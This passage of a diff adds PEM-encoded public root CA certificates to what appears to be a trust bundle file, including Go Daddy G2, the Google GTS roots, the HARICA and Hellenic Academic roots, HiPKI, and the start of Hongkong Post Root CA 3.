+dEr/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5Cuf
+ReYNnyicsbkqWletNw+vHX/bvZ8=
+-----END CERTIFICATE-----
+
+# Go Daddy Root Certificate Authority - G2
+-----BEGIN CERTIFICATE-----
+MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMx
+EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoT
+EUdvRGFkZHkuY29tLCBJbmMuMTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRp
+ZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIz
+NTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQH
+EwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UE
+AxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIw
+DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKD
+E6bFIEMBO4Tx5oVJnyfq9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH
+/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD+qK+ihVqf94Lw7YZFAXK6sOoBJQ7Rnwy
+DfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutdfMh8+7ArU6SSYmlRJQVh
+GkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMlNAJWJwGR
+tDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEA
+AaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
+FDqahQcQZyi27/a9BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmX
+WWcDYfF+OwYxdS2hII5PZYe096acvNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu
+9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r5N9ss4UXnT3ZJE95kTXWXwTr
+gIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYVN8Gb5DKj7Tjo
+2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
+LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI
+4uJEvlz36hz1
+-----END CERTIFICATE-----
+
+# GTS Root R1
+-----BEGIN CERTIFICATE-----
+MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQsw
+CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
+MBIGA1UEAxMLR1RTIFJvb3QgUjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAw
+MDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
+Y2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUA
+A4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaMf/vo
+27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7w
+Cl7raKb0xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjw
+TcLCeoiKu7rPWRnWr4+wB7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0Pfybl
+qAj+lug8aJRT7oM6iCsVlgmy4HqMLnXWnOunVmSPlk9orj2XwoSPwLxAwAtcvfaH
+szVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk9+aCEI3oncKKiPo4Zor8
+Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zqkUspzBmk
+MiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92
+wO1AK/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70p
+aDPvOmbsB4om3xPXV2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrN
+VjzRlwW5y0vtOUucxD/SVRNuJLDWcfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQID
+AQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
+FgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQADggIBAJ+qQibb
+C5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe
+QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuy
+h6f88/qBVRRiClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM4
+7HLwEXWdyzRSjeZ2axfG34arJ45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8J
+ZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYciNuaCp+0KueIHoI17eko8cdLiA6Ef
+MgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5meLMFrUKTX5hgUvYU/
+Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJFfbdT
+6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ
+0E6yove+7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm
+2tIMPNuzjsmhDYAPexZ3FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bb
+bP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3gm3c
+-----END CERTIFICATE-----
+
+# GTS Root R2
+-----BEGIN CERTIFICATE-----
+MIIFVzCCAz+gAwIBAgINAgPlrsWNBCUaqxElqjANBgkqhkiG9w0BAQwFADBHMQsw
+CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
+MBIGA1UEAxMLR1RTIFJvb3QgUjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAw
+MDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
+Y2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUA
+A4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTukk3LvCvpt
+nfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY
+6Dlo7JUle3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAu
+MC6C/Pq8tBcKSOWIm8Wba96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7k
+RXuJVfeKH2JShBKzwkCX44ofR5GmdFrS+LFjKBC4swm4VndAoiaYecb+3yXuPuWg
+f9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbuak7MkogwTZq9TwtImoS1mKPV
++3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscszcTJGr61K8Yzo
+dDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RW
+Ir9qS34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKa
+G73VululycslaVNVJ1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCq
+gc7dGtxRcw1PcOnlthYhGXmy5okLdWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwID
+AQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
+FgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEMBQADggIBAB/Kzt3H
+vqGf2SdMC9wXmBFqiN495nFWcrKeGk6c1SuYJF2ba3uwM4IJvd8lRuqYnrYb/oM8
+0mJhwQTtzuDFycgTE1XnqGOtjHsB/ncw4c5omwX4Eu55MaBBRTUoCnGkJE+M3DyC
+B19m3H0Q/gxhswWV7uGugQ+o+MePTagjAiZrHYNSVc61LwDKgEDg4XSsYPWHgJ2u
+NmSRXbBoGOqKYcl3qJfEycel/FVL8/B/uWU9J2jQzGv6U53hkRrJXRqWbTKH7QMg
+yALOWr7Z6v2yTcQvG99fevX4i8buMTolUVVnjWQye+mew4K6Ki3pHrTgSAai/Gev
+HyICc/sgCq+dVEuhzf9gR7A/Xe8bVr2XIZYtCtFenTgCR2y59PYjJbigapordwj6
+xLEokCZYCDzifqrXPW+6MYgKBesntaFJ7qBFVHvmJ2WZICGoo7z7GJa7Um8M7YNR
+TOlZ4iBgxcJlkoKM8xAfDoqXvneCbT+PHV28SSe9zE8P4c52hgQjxcCMElv924Sg
+JPFI/2R80L5cFtHvma3AH/vLrrw4IgYmZNralw4/KBVEqE8AyvCazM90arQ+POuV
+7LXTWtiBmelDGDfrs7vRWGJB82bSj6p4lVQgw1oudCvV0b4YacCs1aTPObpRhANl
+6WLAYv7YTVWW4tAR+kg0Eeye7QUd5MjWHYbL
+-----END CERTIFICATE-----
+
+# GTS Root R3
+-----BEGIN CERTIFICATE-----
+MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYD
+VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG
+A1UEAxMLR1RTIFJvb3QgUjMwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw
+WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz
+IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
+AAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout736G
+jOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL2
+4CejQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
+BBTB8Sa6oC2uhYHP0/EqEr24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7
+VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azTL818+FsuVbu/3ZL3pAzcMeGiAjEA/Jdm
+ZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV11RZt+cRLInUue4X
+-----END CERTIFICATE-----
+
+# GTS Root R4
+-----BEGIN CERTIFICATE-----
+MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYD
+VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG
+A1UEAxMLR1RTIFJvb3QgUjQwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw
+WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz
+IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
+AATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzuhXyi
+QHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvR
+HYqjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
+BBSATNbrdP9JNqPV2Py1PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D
+9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/Cr8deVl5c1RxYIigL9zC2L7F8AjEA8GE8
+p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh4rsUecrNIdSUtUlD
+-----END CERTIFICATE-----
+
+# HARICA TLS ECC Root CA 2021
+-----BEGIN CERTIFICATE-----
+MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQsw
+CQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2Vh
+cmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9v
+dCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoXDTQ1MDIxMzExMDEwOVowbDELMAkG
+A1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
+aCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJvb3Qg
+Q0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7
+KKrxcm1lAEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9Y
+STHMmE5gEYd103KUkE+bECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUw
+AwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQD
+AgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAircJRQO9gcS3ujwLEXQNw
+SaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/QwCZ61IygN
+nxS2PFOiTAZpffpskcYqSUXm7LcT4Tps
+-----END CERTIFICATE-----
+
+# HARICA TLS RSA Root CA 2021
+-----BEGIN CERTIFICATE-----
+MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBs
+MQswCQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl
+c2VhcmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0Eg
+Um9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUzOFoXDTQ1MDIxMzEwNTUzN1owbDEL
+MAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl
+YXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNBIFJv
+b3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569l
+mwVnlskNJLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE
+4VGC/6zStGndLuwRo0Xua2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uv
+a9of08WRiFukiZLRgeaMOVig1mlDqa2YUlhu2wr7a89o+uOkXjpFc5gH6l8Cct4M
+pbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K5FrZx40d/JiZ+yykgmvw
+Kh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEvdmn8kN3b
+LW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcY
+AuUR0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqB
+AGMUuTNe3QvboEUHGjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYq
+E613TBoYm5EPWNgGVMWX+Ko/IIqmhaZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHr
+W2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQCPxrvrNQKlr9qEgYRtaQQJKQ
+CoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8GA1UdEwEB/wQF
+MAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE
+AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAU
+X15QvWiWkKQUEapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3
+f5Z2EMVGpdAgS1D0NTsY9FVqQRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxaja
+H6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxDQpSbIPDRzbLrLFPCU3hKTwSUQZqP
+JzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcRj88YxeMn/ibvBZ3P
+zzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5vZSt
+jBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0
+/L5H9MG0qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pT
+BGIBnfHAT+7hOtSLIBD6Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79
+aPib8qXPMThcFarmlwDB31qlpzmq6YR/PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YW
+xw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnnkf3/W9b3raYvAwtt41dU
+63ZTGI0RmLo=
+-----END CERTIFICATE-----
+
+# Hellenic Academic and Research Institutions ECC RootCA 2015
+-----BEGIN CERTIFICATE-----
+MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzAN
+BgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl
+c2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hl
+bGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgRUNDIFJv
+b3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEwMzcxMlowgaoxCzAJ
+BgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmljIEFj
+YWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5
+MUQwQgYDVQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0
+dXRpb25zIEVDQyBSb290Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKg
+QehLgoRc4vgxEZmGZE4JJS+dQS8KrjVPdJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJa
+jq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoKVlp8aQuqgAkkbH7BRqNC
+MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFLQi
+C4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaep
+lSTAGiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7Sof
+TUwJCA3sS61kFyjndc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
+-----END CERTIFICATE-----
+
+# Hellenic Academic and Research Institutions RootCA 2015
+-----BEGIN CERTIFICATE-----
+MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1Ix
+DzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5k
+IFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMT
+N0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9v
+dENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAxMTIxWjCBpjELMAkG
+A1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNh
+ZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkx
+QDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1
+dGlvbnMgUm9vdENBIDIwMTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
+AQDC+Kk/G4n8PDwEXT2QNrCROnk8ZlrvbTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA
+4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+ehiGsxr/CL0BgzuNtFajT0
+AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+6PAQZe10
+4S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06C
+ojXdFPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV
+9Cz82XBST3i4vTwri5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrD
+gfgXy5I2XdGj2HUb4Ysn6npIQf1FGQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6
+Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2fu/Z8VFRfS0myGlZYeCsargq
+NhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9muiNX6hME6wGko
+LfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
+Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNV
+HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVd
+ctA4GGqd83EkVAswDQYJKoZIhvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0I
+XtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+D1hYc2Ryx+hFjtyp8iY/xnmMsVMI
+M4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrMd/K4kPFox/la/vot
+9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+yd+2V
+Z5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/ea
+j8GsGsVn82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnh
+X9izjFk0WaSrT2y7HxjbdavYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQ
+l033DlZdwJVqwjbDG2jJ9SrcR5q+ss7FJej6A7na+RZukYT1HCjI/CbM1xyQVqdf
+bzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVtJ94Cj8rDtSvK6evIIVM4
+pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGaJI7ZjnHK
+e7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0
+vm9qp/UsQu0yrbYhnr68
+-----END CERTIFICATE-----
+
+# HiPKI Root CA - G1
+-----BEGIN CERTIFICATE-----
+MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBP
+MQswCQYDVQQGEwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0
+ZC4xGzAZBgNVBAMMEkhpUEtJIFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRa
+Fw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3
+YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kgUm9vdCBDQSAtIEcx
+MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0o9Qw
+qNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twv
+Vcg3Px+kwJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6
+lZgRZq2XNdZ1AYDgr/SEYYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnz
+Qs7ZngyzsHeXZJzA9KMuH5UHsBffMNsAGJZMoYFL3QRtU6M9/Aes1MU3guvklQgZ
+KILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfdhSi8MEyr48KxRURHH+CK
+FgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj1jOXTyFj
+HluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDr
+y+K49a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ
+/W3c1pzAtH2lsN0/Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgM
+a/aOEmem8rJY5AIJEzypuxC00jBF8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6
+fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
+HQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQDAgGGMA0GCSqG
+SIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi
+7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqc
+SE5XCV0vrPSltJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6Fza
+ZsT0pPBWGTMpWmWSBUdGSquEwx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9Tc
+XzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07QJNBAsNB1CI69aO4I1258EHBGG3zg
+iLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv5wiZqAxeJoBF1Pho
+L5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+GpzjLrF
+Ne85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wr
+kkVbbiVghUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+
+vhV4nYWBSipX3tUZQ9rbyltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQU
+YDksswBVLuT1sw5XxJFBAJw/6KXf6vb/yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ==
+-----END CERTIFICATE-----
+
+# Hongkong Post Root CA 3
+-----BEGIN CERTIFICATE-----
+MIIFzzCCA7egAwIBAgIUCBZfikyl7ADJk0DfxMauI7gcWqQwDQYJKoZIhvcNAQEL
+BQAwbzELMAkGA1UEBhMCSEsxEjAQBgNVBAgTCUhvbmcgS29uZzESMBAGA1UEBxMJ
+SG9uZyBLb25nMRYwFAYDVQQKEw1Ib25na29uZyBQb3N0MSAwHgYDVQQDExdIb25n
+a29uZyBQb3N0IFJvb3QgQ0EgMzAeFw0xNzA2MDMwMjI5NDZaFw00MjA2MDMwMjI5
+NDZaMG8xCzAJBgNVBAYTAkhLMRIwEAYDVQQIEwlIb25nIEtvbmcxEjAQBgNVBAcT
+CUhvbmcgS29uZzEWMBQGA1UEChMNSG9uZ2tvbmcgUG9zdDEgMB4GA1UEAxMXSG9u
+Z2tvbmcgUG9zdCBSb290IENBIDMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
+AoICAQCziNfqzg8gTr7m1gNt7ln8wlffKWihgw4+aMdoWJwcYEuJQwy51BWy7sFO
